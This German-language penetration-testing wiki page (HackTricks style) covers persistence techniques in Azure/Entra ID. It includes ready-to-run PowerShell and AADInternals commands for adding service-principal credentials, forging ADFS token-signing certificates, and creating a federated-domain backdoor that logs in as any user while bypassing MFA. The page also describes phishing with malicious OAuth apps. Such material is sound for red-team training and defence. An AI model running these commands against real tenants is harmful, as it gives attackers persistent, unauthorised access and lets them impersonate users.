# Az - Persistence {{#include ../../../banners/hacktricks-training.md}} ### OAuth-Anwendung Standardmäßig kann sich jeder Benutzer in Entra ID eine Anwendung registrieren. Sie können also eine Anwendung (nur für den Zielmandanten) registrieren, die hohe Berechtigungen mit administrativer Zustimmung benötigt (und sie genehmigen, wenn Sie der Administrator sind) - wie das Senden von E-Mails im Namen eines Benutzers, Rollenmanagement usw. Dies ermöglicht es uns, **Phishing-Angriffe** durchzuführen, die im Erfolgsfall sehr **ertragreich** wären. Darüber hinaus könnten Sie auch diese Anwendung mit Ihrem Benutzer akzeptieren, um den Zugriff darauf aufrechtzuerhalten. ### Anwendungen und Dienstprinzipale Mit den Rechten eines Anwendungsadministrators, GA oder einer benutzerdefinierten Rolle mit microsoft.directory/applications/credentials/update-Berechtigungen können wir Anmeldeinformationen (Geheimnis oder Zertifikat) zu einer bestehenden Anwendung hinzufügen. Es ist möglich, **eine Anwendung mit hohen Berechtigungen zu zielen** oder **eine neue Anwendung** mit hohen Berechtigungen hinzuzufügen. Eine interessante Rolle, die der Anwendung hinzugefügt werden könnte, wäre die **Rolle des privilegierten Authentifizierungsadministrators**, da sie es ermöglicht, das **Passwort** von globalen Administratoren zurückzusetzen. Diese Technik ermöglicht auch, **MFA zu umgehen**. ```bash $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd) Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a ``` - Für die zertifikatsbasierte Authentifizierung ```bash Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` ### Federation - Token Signing Certificate Mit **DA-Rechten** auf dem lokalen AD ist es möglich, **neue Token-Signierungs**- und **Token-Entschlüsselungszertifikate** zu erstellen und zu importieren, die eine sehr lange Gültigkeit haben. Dies ermöglicht es uns, **uns als jeden Benutzer** anzumelden, dessen ImmutableID wir kennen. **Führen** Sie den folgenden Befehl als **DA auf dem ADFS-Server(n)** aus, um neue Zertifikate zu erstellen (Standardpasswort 'AADInternals'), fügen Sie sie zu ADFS hinzu, deaktivieren Sie die automatische Rollierung und starten Sie den Dienst neu: ```bash New-AADIntADFSSelfSignedCertificates ``` Dann aktualisieren Sie die Zertifikatsinformationen mit Azure AD: ```bash Update-AADIntADFSFederationSettings -Domain cyberranges.io ``` ### Federation - Vertrauenswürdige Domäne Mit GA-Rechten auf einem Mandanten ist es möglich, eine **neue Domäne hinzuzufügen** (muss verifiziert werden), ihren Authentifizierungstyp auf Federated zu konfigurieren und die Domäne so zu konfigurieren, dass sie **ein bestimmtes Zertifikat** (any.sts im folgenden Befehl) und Aussteller vertraut: ```bash # Using AADInternals ConvertTo-AADIntBackdoor -DomainName cyberranges.io # Get ImmutableID of the user that we want to impersonate. Using Msol module Get-MsolUser | select userPrincipalName,ImmutableID # Access any cloud app as the user Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true ``` ## Referenzen - [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/) {{#include ../../../banners/hacktricks-training.md}}